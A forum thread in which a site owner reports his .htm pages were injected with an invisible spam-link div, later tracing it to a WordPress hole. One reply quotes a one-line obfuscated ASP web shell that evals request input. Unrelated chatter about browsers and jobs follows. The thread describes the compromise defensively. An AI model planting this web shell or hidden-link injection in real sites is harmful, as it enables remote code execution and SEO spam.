|
This is interesting.
I just noticed that on 12/3/2014 all of my .htm files were hacked so that they contain the following code (shortened example:
<div style="position:absolute;filter:alpha(opacity=0);opacity:0.001;z-index:10;"> <a href="http://www.asamai.com/">legend blue 11s</a> <a href="http://www.bdast.org/">jordan 11 legend blue</a>
100s of links follow... but I've removed for brevity
NOTE: please don't go to any of thos sites, they are probably malicious
It is quite ingenious - those basterds -- It creates a DIV at the bottom of the page which is invisible (opacity .001) and it is topmost z-index=10 floats it over everything else.
I can see when the files were altered on 12/3/2014.
Passwords
I don't believe I've been compromised in passwords. I think instead a malicious script got injected and runs somehow.
I'm changing everything. Bringing down the site and not allowing them to get away with this.
Any Information?
Does anyone know more about this? How do they do that.
I previously had WordPress running and won't very soon. Maybe something with that. or I've seen others who are saying it may be an IIS 7.x thing.
GoDaddy
This all runs at a GoDaddy site. maybe something they need to fix (security) on IIS?
Any input is really appreciated and I hope to expose this here by posting here so others might see the problem also.
Thank to everyone.
|
|
|
|
|
newton.saber wrote: GoDaddy
I think I see the issue here.
Seriously, though, read this post[^] about how GoDaddy HELPED the hacker!
AFAIK, this is not the first time things like this have happened with GoDaddy.
What do you get when you cross a joke with a rhetorical question?
---
The metaphorical solid rear-end expulsions have impacted the metaphorical motorized bladed rotating air movement mechanism.
---
Do questions with multiple question marks annoy you???
|
|
|
|
|
Awesome read!!!
Thanks for posting and for the head's up.
|
|
|
|
|
You made any controversial movies recently?
|
|
|
|
|
Star Warts VIII: The Fantom Mendacious
Rambo XVII: Geriatic GI Joe
That's mostly it.
|
|
|
|
|
There was a recent Wordpress hack that caused a lot of problems, maybe somethign to do with that.
Check your site against this scanner: http://sitecheck.sucuri.net/[^]
|
|
|
|
|
Yes, I believe that it was compromised due to WordPress.
I found a classic ASP script which contained an encoded request to a site.
It looked liked this:
<%response.write(now):eval(request(Chr(84)&Chr(88)&Chr(101)&Chr(82)&Chr(99)&Chr(82)&Chr(51)&Chr(109)&Chr(115)&Chr(109)))%>
It is amazing that there was a vulnerability which allowed some script to write files.
Very dangerous.
|
|
|
|
|
|
This same thing happened at out lunarpages hosted account which is Linux so I don't think it's an IIS issue. I had thought that one of the ftp accounts was hacked so all those were changed and strengthened. Good luck! 
"Go forth into the source" - Neal Morse
|
|
|
|
|
Thanks for the input.
After much more investigation -- examining every page on my site -- it looks like it was a WordPress vulnerability which allowed a PHP script to be manipulated to write to HTM files only (no other files were altered).
It's not that bad of a compromise I guess, since they just insert a bunch of links into HTM pages but it was quite annoying to learn that my pages had these links on them -- and that helps the malicious sites get more SEO.
My site is completely clean now and I plan on never using WordPress again. I had applied security patches as I went so a bit frustrating.
WordPress, blech!
1. vulnerable
2. seems quite bloated to me -- lots of files, got to be an easier smaller way
3. Uninstalling, doesn't actually uninstall and delete all files, still have to FTP over and delete a bunch of files
|
|
|
|
|
I have been following the development of PencilBlue[^], it looks to be quite promising. CMS built on node.js and mongo.
|
|
|
|
|
newton.saber wrote: I just noticed that on 12/3/2014 all of my .htm files were hacked
It took you nine months to notice?!?
I may have to rethink that offer I made you of web-security manager.
I wanna be a eunuchs developer! Pass me a bread knife!
|
|
|
|
|
Mark_Wallace wrote: 12/3/2014
I'm not in the military (on 12 march, 2014). I'm a civilian (on December 3rd, 2014). Only a few days. 
Still, it did take me 14 days or something. The thing is I'm betting there are tens of thousands of WordPress sites out there which have been hacked like this. Makes me not even want to visit any sites running wordpress.
|
|
|
|
|
Here is a discussion about browsers: Clicky[^]
I'm going to disagree with all the comments made in the comments section by saying that I think all browsers today are excellent - I just think we've way too many web pages that suck really, really bad. I keep finding pages that open two dozen ads, run several videos, have popups flying around the screen - how could a browser not choke on that mess?
I'm going to have to call out those people who try to serve up the entire web through a single browser window because they're desperate to try and earn money for doing nothing but dishing up crap.
|
|
|
|
|
Wrong is evil and must be defeated. - Jeff Ello
(√-sh*t) 2
|
|
|
|
|
![Rose | [Rose]](https://codeproject.global.ssl.fastly.net/script/Forums/Images/rose.gif)
Precisesly, the rest is look&feel (and getting used to). I'm ok with Firefox now...
Geek code v 3.12
GCS d--- s-/++ a- C++++ U+++ P- L- E-- W++ N++ o+ K- w+++ O? M-- V? PS+ PE- Y+ PGP t++ 5? X R++ tv-- b+ DI+++ D++ G e++>+++ h--- r++>+++ y+++*
Weapons extension: ma- k++ F+2 X
|
|
|
|
|
For the end user, they're all pretty similar in function. IE is still the browser that demands more developer attention than all the others to get things working which is disappointing after all these years.
Chrome on the other hand is great to develop on, but the latest version seems to hang quite a bit. You'd have thought Google would have solved that problem (along with memory usage) a long time ago.
I wouldn't really say any browser is excellent, they're just not as awful as they used to be 
How do you know so much about swallows? Well, you have to know these things when you're a king, you know.
modified 31-Aug-21 21:01pm.
|
|
|
|
|
MehGerbil wrote: I just think we've way too many web pages that suck really, really bad
Spot on.
One thing I'm really sick of is pages that dance after it looks like they've opened, because graphics/divs/whatever are inserted at the top -- all too often above a link you've just clicked, which invariable sends you to some cr@p address that redirects nine times, making it a nightmare to get back to the page you wanted.
I hate to sound all ludditistic, but we never had that problem when everyone used tables.
Doesn't the miracle that is html5 allow you to set the dimensions that objects are allowed to fill?
I wanna be a eunuchs developer! Pass me a bread knife!
|
|
|
|
|
I've been a paid consultant, uninterrupted, for ca. 12 years running. Now, I'm going to actually be hired! Starts Monday.
Paid Holiday, Paid Vacation.
Actually, the bottom line won't change significantly, if at all.
Odd, though:
If I fill out a credit application, they may ask how long I've been with my present employer. It's about to become a very short time.
Prior to this, it seems like I've been with my present employer pretty much since I've been born.
Not the only one here (i.e., CP), today, taking this leap into the employed market, either.
Time to run - for those of you in the northern hemisphere, keep your feet warm.
| "The difference between genius and stupidity is that genius has its limits." - Albert Einstein | | "As far as we know, our computer has never had an undetected error." - Weisert | | "If you are searching for perfection in others, then you seek disappointment. If you are seek perfection in yourself, then you will find failure." - Balboos HaGadol Mar 2010 |
|
|
|
|
|
Congrats
New version: WinHeist Version 2.1.0
There's a fine line between crazy and free spirited and it's usually a prescription.
I'm currently unsupervised, I know it freaks me out too but the possibilities are endless.
|
|
|
|
|
W∴ Balboos wrote: Now, I'm going to actually be hired!
My condolences.
W∴ Balboos wrote: Paid Holiday, Paid Vacation.
Are those two somehow different?
Marc
|
|
|
|
|
The difference (per native speakers of English):
Holiday: typically an official observance of some event (New Years Day, Memorial Day, Thanksgiving, etc.
Vacation: A block of time, employee selected in most cases (in US) wherein one stays away from his place of employment (and work). Normally, these last a week at a time - an employee earns these days at a rate proportional to days worked. It is common to earn two weeks a year, to start, and often this increases with longevity with one's employer.
The subtle difference: Holidays vs. Holiday. The former refers to the periodic vacation days based upon calendar data and typically last one or two days, the latter is the term often used by British types to equate to what we call Vacation. US Holidays are often 'observed' on the Monday following to create 3-day weekends. Also, should it turn up on a Sat or Sun, the paid day off will be moved to Fri or Mon, respectively.
Not the same two months off that's typical of Europeans.
Also, does not include strikes (this is so you don't confuse it with the French concept of holidays and vacations).
| "The difference between genius and stupidity is that genius has its limits." - Albert Einstein | | "As far as we know, our computer has never had an undetected error." - Weisert | | "If you are searching for perfection in others, then you seek disappointment. If you are seek perfection in yourself, then you will find failure." - Balboos HaGadol Mar 2010 |
|
|
|
|
|
Congratulations ! ... and deepest sympathies
«OOP to me means only messaging, local retention and protection and hiding of state-process, and extreme late-binding of all things. » Alan Kay's clarification on what he meant by the term "Object" in "Object-Oriented Programming."
|
|
|
|
|
Works Christmas meal this afternoon.
Three bottles of wine per table.
I was the only one on my table not driving.
Hic!
Some men are born mediocre, some men achieve mediocrity, and some men have mediocrity thrust upon them.
|
|
|
|
|
OK - I'll arrange for someone to come round and hoover your room enthusiastically early doors tomorrow...
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
